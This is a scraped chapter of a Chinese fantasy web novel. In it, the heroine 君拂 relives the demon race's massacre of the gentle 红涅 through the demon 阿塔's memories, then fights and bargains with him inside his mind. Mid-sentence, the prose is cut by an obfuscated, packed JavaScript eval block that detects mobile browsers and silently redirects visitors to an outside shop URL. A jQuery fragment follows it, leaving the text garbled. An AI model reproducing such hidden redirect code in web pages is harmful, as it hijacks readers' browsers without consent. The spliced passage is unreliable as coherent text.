58. 魔族六
    这一次的附身不知为何,并不能一直持续,君拂听完那一句后便没了意识,再次醒来就是现在。

    阿塔站在这座拔地而起的高墙之上,负手而立,居高临下地看着关在墙内的红发魔人,

    满怀恶意地欣赏他们面上的迷茫,惶恐,无助···

    东风飒飒,吹不走他心中的厌恶,烦闷,嗜血,无趣。

    他迫不及待想要掀起一场杀戮,将这些情绪驱散,然而却受魔宫的规则束缚,血夜未至,无法为之。

    他把希望寄托于笼内,希望他们给他带来一场厮杀,来消解他杂乱的情绪。

    下方的红发魔人还在高呼兄友弟恭,温良仁善,妄图以此唤醒他们。

    看着他们痛心疾首的模样,阿塔眸光寒凉,回忆起魔史记载,心中烦躁之意愈甚,被压制的杀意几乎按捺不住。

    因君拂附身在阿塔的身上,那些回忆不可避免的传入她的脑中——

    魔族诞生之初,分红涅与黑涅。除王族有两次机会入灵红涅和黑涅外,其余高等或低等魔族只能选择其中之一入灵,一旦破壳出世,就会相伴一生直到死亡。

    红涅崇尚蔼然,仁民爱物。而黑涅的天性与红涅全然相反,残忍,暴虐,索性划出一条道来,分而统治。

    但是没想到这个平衡很快就被打破。

    当时,魔族与妖族发生第一次战争,红涅不会杀戮,便由黑涅出面交战。

    黑涅勇猛奋战,很快将妖族击溃,却不料妖族并不死心,干脆将受伤的妖怪编成数支小队,绕开黑涅,进入红涅领地,求红涅庇护。

    红涅不忍生命消逝,不顾黑涅劝阻,明知对方是敌军仍大开城门将他们迎入城中救治。

    结果不出意外,红涅反被妖族所制,妖族借地势反攻,左右夹击之下黑涅死伤惨重,花费了巨大的代价才将妖族赶走。

    当战事停歇,对于红涅的处置便成了首要之事。

    此战若不是红涅一意孤行,黑涅赢得不会这般惨烈,他们所为与叛徒无异。

    红涅混沌不分,有己无人,永远在不通时宜的泛爱。也因此太容易被别族利用,此举是第一次,但绝不会是最后一次。

    他们的存在就是悬在黑涅头顶的弯刀。

    遂,黑涅不再顾念同族之谊,将红涅尽数斩杀。

    本以为此事到此为止,却没想到差点为魔族带来灭顶之灾。

    那是在红涅消失后,黑涅逐渐变得嗜血,滥杀。

    杀戮,毁灭的欲望在每个魔人心中越发炽盛,最后再也无法压制,向同族举起屠刀。也是自那之后,魔人无时无刻不在杀戮中度过。

    红日高挂,绿草如茵的大地被魔血浸透,魔族不再绚丽多姿,普天匝地只余沉闷的黑红。

    不肖几年,魔人锐减,已有灭族之兆。

    血夜降临之时,魔帝恢复些许神智,见此情状,心有不忍。遂施展秘法借一丝天道之力制定规则秩序,献祭自身化作封印压制魔族的杀戮之心。

    只是,长期压制不是长久之计,所以每当血夜来临,封印便会失效。

    魔族亦明白,黑涅的性情大变源于先祖对红涅挥动屠刀,若要彻底解决,破解之法只在红涅。

    然,那次的屠杀带来的影响远不止这些。自那以后每逢有红涅诞生,黑涅的内心都无法平静。面对他们时,封印,规则好似都失了效,杀意和厌恶充斥脑海,连最简单的心平气和也无法保持。

    他们尝试了无数的法子引诱红涅堕落,但自古至今,红涅却始终如一,从未做出改变。

    黑涅寻不到破解之法,只能继续斩杀诞生的红涅,于是红涅越来越少。

    回忆至此。

    有魔人来到阿塔身侧,君拂转头一瞧,发现正是和阿塔一同复生的其中一位魔人。

    他早已迫不及待,面容因兴奋而扭曲,一挥袖丢出漫天的兵器,指尖轻点,万器齐发,将红发魔人一一斩灭。

    听着耳边传来魔人瘆人的疯笑,君拂汗毛竖起,眼眸微动,心情有些复杂。

    她从未听过魔族红涅一事,想来是魔族有意抹去了他们的存在。

    红涅是善,黑涅是恶。一边善到不知自爱,一边恶如利剑损人害己。难两全,难平衡,可恨亦可叹。

    这般想着,眼前发花,似有一股蛮力将她的意识拽出这具躯体。

    一阵天旋地转后,还未喘口气,又被勒住了脖颈,脸颊渐渐通红,脖颈也传来撕裂般的疼痛。

    君拂挣扎着,用双手去掰脖颈间的手,没想却摸了个空,脖颈处空无一物,又因久久挣脱不开,窒息感愈发强烈,迷迷糊糊间耳边似乎听到阿塔的声音

    “有趣,真是有趣哈哈哈,你的回忆着实精彩。”

    阴恻恻的声音似寒凉的冷风在她耳畔响起

    “我还当你和南辞的兄妹之情有多深厚,多纯粹,却原来这也不过是你所谋划的一部分。”

    他这句话让本快要昏死过去的君拂瞬间清醒过来,眼中寒光闪过,指尖化刃割破掌心,就着血液双手合一翻转,屈起,随着她结印,身上有金光浮现,越来越强烈,很快鼻尖传来一股被灼烧的异味,被紧箍的脖颈被松开获得自由。

    君拂当即后退几步,挥手布下一道防护罩,方大口喘气,喉间腥气不断上涌,每一次的呼吸都好似在吞刀片。

    阿塔亦现出身形,看了眼掌心的伤口,猩红的眸子越发幽深

    “呵呵,那傻小子,他知道吗?”

    君拂剧烈地咳嗽着,胸腔被震的生疼,压着那股疼意,哑声道

    “闭嘴。”

    阿塔置若罔闻,上前伸手去触碰光罩,指尖冒出一股黑烟,将防护罩侵蚀,讥诮道

    “他知道你外表看着娇弱善良,其实内里自私冷漠,满腹诡计吗?”

    许是因为方才消耗过多,君拂的脸色苍白而冷冽,她一掌击出,喘着粗气道

    “闭嘴。”

    怎奈她这一击绵软无力,掌风还未到阿塔跟前便已经消散。

    阿塔见她动怒,非但未停下,反而凑到她跟前,满怀恶意道

    “就如你和南辞的相遇,也是因为你的算计。你知晓妖后对他意义非凡,便燃尽自身灵力,借灵入梦,用妖后的幌子引他将你带回圣宫。其目的,不过是因为你看重了他背后的底蕴,欲借圣宫天材地宝,来保自己···”

    “我让你闭嘴!”

    君拂大声呵道,随着那神秘的金光再次涌现,她一拳挥出,快如疾风,直接揍在了阿塔的脸上。

    阿塔察觉,退后避开,却还是慢了一步,呆滞片刻,似乎不敢置信,僵硬地伸手摸了摸脸颊,传来火辣辣的痛感。

    他眸光幽暗,透着寒光,猩红的眸底似有凶兽被唤醒,杀意弥天

    “你找死!”

    君拂在一击得手后就立刻往旁边退了几步,与他拉开了距离,戒备地盯着他。

    却不知这一举动落在阿塔的眼中不过是做无谓的挣扎,不屑冷哼一声。

    或许方才他还乐意陪她玩玩儿,但是此刻处在盛怒中的他只想杀了这个女人。

    这般想着,他顷身上前,速度极快,瞬息间出现在君拂眼前,拇指和食指成勾状直掐她的喉咙,眼看着就要得手,却没想甫一碰到君拂,她的身子突然化作星星点点消散。

    星光似流

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228716|151148||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    萤,从他身边飘过,在他身后凝聚出君拂的身影。

    君拂捂着脖子,深深地吸了一口气,她一直在防备却还是险些被他得手,终究还是实力太过悬殊。

    这头,阿塔顺着星光徐徐转身,轻蔑地扬起嘴角

    “你这缕神魂都在我的识海中,又能躲到哪里去?”

    君拂眸光微动,嘴唇一张一合

    阿塔看出她的嘴型,上前的步子一顿,眯子微眯,衣摆翻飞无风自动,无形的威压直逼君拂

    “你威胁我。”

    君拂被压的动弹不得,人形身体忽隐忽现,几乎维持不住,她盯着阿塔,没回答他的话,只问了自己最关心的问题

    “你还看到什么。”

    嗯?

    阿塔闻言一愣,片刻后才反应过来,浑身迫人的气势一收,猩红的眸子亮的出奇,一闪一闪的,只听他兴奋地说道

    “原来是真的啊,我不过是看到些许片段推测而已,竟叫我猜中了,哈哈哈哈。”

    说着眼眸微动,想起她方才所问,不着痕迹道

    “其他不重要,你若不想我将你的事告诉南辞,最好乖乖听我的话。说,你怎会知道我魔族死穴。”

    不重要?不,很重要。

    她方才甫一听阿塔提起,一时急昏头乱了分寸,后头才察觉出不对来。

    她看到的记忆断断续续,阿塔看到的应当也不完整。加之她此前特地专修过神识,强度更非一般,阿塔应当不能轻易看到她的记忆,可又无法确定,所以才有此一问。

    期间她一直盯着阿塔,他眼中一瞬间的异样自然没逃过她的眼睛,再听到他的话,当即可以确定,他知道的只有他说出口的那些。

    君拂垂下眼帘,紧绷的神情瞬间放松,轻笑一声

    “你能看到我的记忆,我自然也能看到你的。”

    阿塔闻言眉毛一拧,似乎并不相信。

    君拂见状,幽幽补了一句

    “我还看到你做的不少蠢事。”

    阿塔一僵,面色又青又白,咬着牙让她闭嘴。

    他虽是信了,但是很快便又阴恻恻道

    “怎么,你以为我们掌握了各自的把柄,也想威胁我。呵,蠢,我杀了你就好了。”

    君拂把手一摊,而后负在身后悄悄施法结印,一步一步靠近阿塔,道

    “各自的把柄?不不不,忘了告诉你,你说的事我阿兄早就知道哦。“

    阿塔恍惚了一会儿,很快便摇摇头,一脸的不相信,他自然是不信有人真的会将自己不堪的一面告诉他人。因此也没发觉,就这么一晃的功夫,君拂已经在他跟前站定。

    只见她咧嘴一笑,古怪道

    "该说你是自大呢,还是没将我放在眼里?居然敢将我拘在你的识海内,我若是在此自爆,想必就算是你也该要养个好几百年吧。"

    阿塔下意识道

    "什么?"

    下一瞬便见君拂将他的身子紧紧抱住,她的身上金光大盛,刺的他几乎睁不开眼,似乎察觉到危险,识海内开始动荡。

    阿塔又惊又气,惊的是没想到君拂会想出这两败俱伤的主意并且毫不犹豫的付诸行动,气的是君拂将他的身子禁锢的死死的,他挣脱不开,也就没法让她停下。

    他只好压下情绪,沉着脸安抚道

    “停,我们两败俱伤有什么好处,不妨我们消除彼此的记忆,然后我再放你离开。”

    君拂是很惜命的,而且她还不知神识自爆会对本体造成怎样的伤害,若有其他办法她自然也不想玉石俱焚,但是阿塔的话又不知可不可信,这念头一闪而过,未多犹豫,还是松了手。